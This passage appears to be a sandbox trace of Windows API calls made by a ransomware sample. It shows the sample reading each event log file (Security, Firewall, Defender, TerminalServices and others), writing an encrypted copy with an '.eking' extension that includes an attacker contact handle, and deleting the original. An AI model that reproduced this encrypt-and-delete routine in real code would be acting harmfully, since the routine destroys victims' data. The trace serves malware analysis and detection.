WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x162, lpOverlapped=0x0) returned 1 [0227.251] CloseHandle (hObject=0x37c) returned 1 [0227.251] CloseHandle (hObject=0x348) returned 1 [0227.265] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0227.267] SetEvent (hEvent=0x2b8) returned 1 [0227.267] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.320] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.320] CloseHandle (hObject=0x37c) returned 1 [0227.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0227.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0227.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.321] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.321] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.321] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.321] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0227.323] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.328] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.333] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x172, lpOverlapped=0x0) returned 1 [0227.333] CloseHandle (hObject=0x37c) returned 1 [0227.333] CloseHandle (hObject=0x358) returned 1 [0227.346] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0227.348] SetEvent (hEvent=0x2b8) returned 1 [0227.348] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0227.348] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.348] CloseHandle (hObject=0x358) returned 1 [0227.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0227.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0227.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.349] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0227.349] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.349] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.349] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0227.350] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.414] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.417] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x152, lpOverlapped=0x0) returned 1 [0227.417] CloseHandle (hObject=0x358) returned 1 [0227.417] CloseHandle (hObject=0x37c) returned 1 [0227.429] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0227.431] SetEvent (hEvent=0x2b8) returned 1 [0227.431] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.432] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.441] CloseHandle (hObject=0x37c) returned 1 [0227.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0227.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0227.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.442] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.442] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.442] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.442] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0227.444] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.556] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.559] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0227.559] CloseHandle (hObject=0x37c) returned 1 [0227.559] CloseHandle (hObject=0x358) returned 1 [0227.568] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0227.570] SetEvent (hEvent=0x2b8) returned 1 [0227.571] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.597] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.597] CloseHandle (hObject=0x37c) returned 1 [0227.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0227.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0227.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.598] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.598] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.598] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.598] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0227.599] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.802] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.805] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x152, lpOverlapped=0x0) returned 1 [0227.805] CloseHandle (hObject=0x37c) returned 1 [0227.805] CloseHandle (hObject=0x368) returned 1 [0227.808] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0227.810] SetEvent (hEvent=0x2b8) returned 1 [0227.810] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.811] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.811] CloseHandle (hObject=0x368) returned 1 [0227.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0227.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0227.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.811] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.811] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.811] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.811] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0227.814] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.851] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.853] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0227.854] CloseHandle (hObject=0x368) returned 1 [0227.854] CloseHandle (hObject=0x358) returned 1 [0227.866] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0227.868] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0227.868] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.869] CloseHandle (hObject=0x358) returned 1 [0227.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0227.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0227.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.869] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0227.869] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.869] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.869] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0227.870] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0228.132] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0228.134] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0228.134] CloseHandle (hObject=0x358) returned 1 [0228.134] CloseHandle (hObject=0x368) returned 1 [0228.140] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0228.141] SetEvent (hEvent=0x2b8) returned 1 [0228.142] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0228.143] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1052672) returned 1 [0228.143] CloseHandle (hObject=0x368) returned 1 [0228.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0228.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0228.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0228.144] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0228.144] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0228.144] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0228.144] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0228.146] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x101000, lpOverlapped=0x0) returned 1 [0228.564] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x101010, lpOverlapped=0x0) returned 1 [0229.013] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x172, lpOverlapped=0x0) returned 1 [0229.013] CloseHandle (hObject=0x368) returned 1 [0229.013] CloseHandle (hObject=0x358) returned 1 [0229.380] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0229.382] SetEvent (hEvent=0x2b8) returned 1 [0229.382] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0229.383] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1118208) returned 1 [0229.383] CloseHandle (hObject=0x358) returned 1 [0229.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0229.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0229.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\security.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0229.383] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0229.383] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0229.384] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 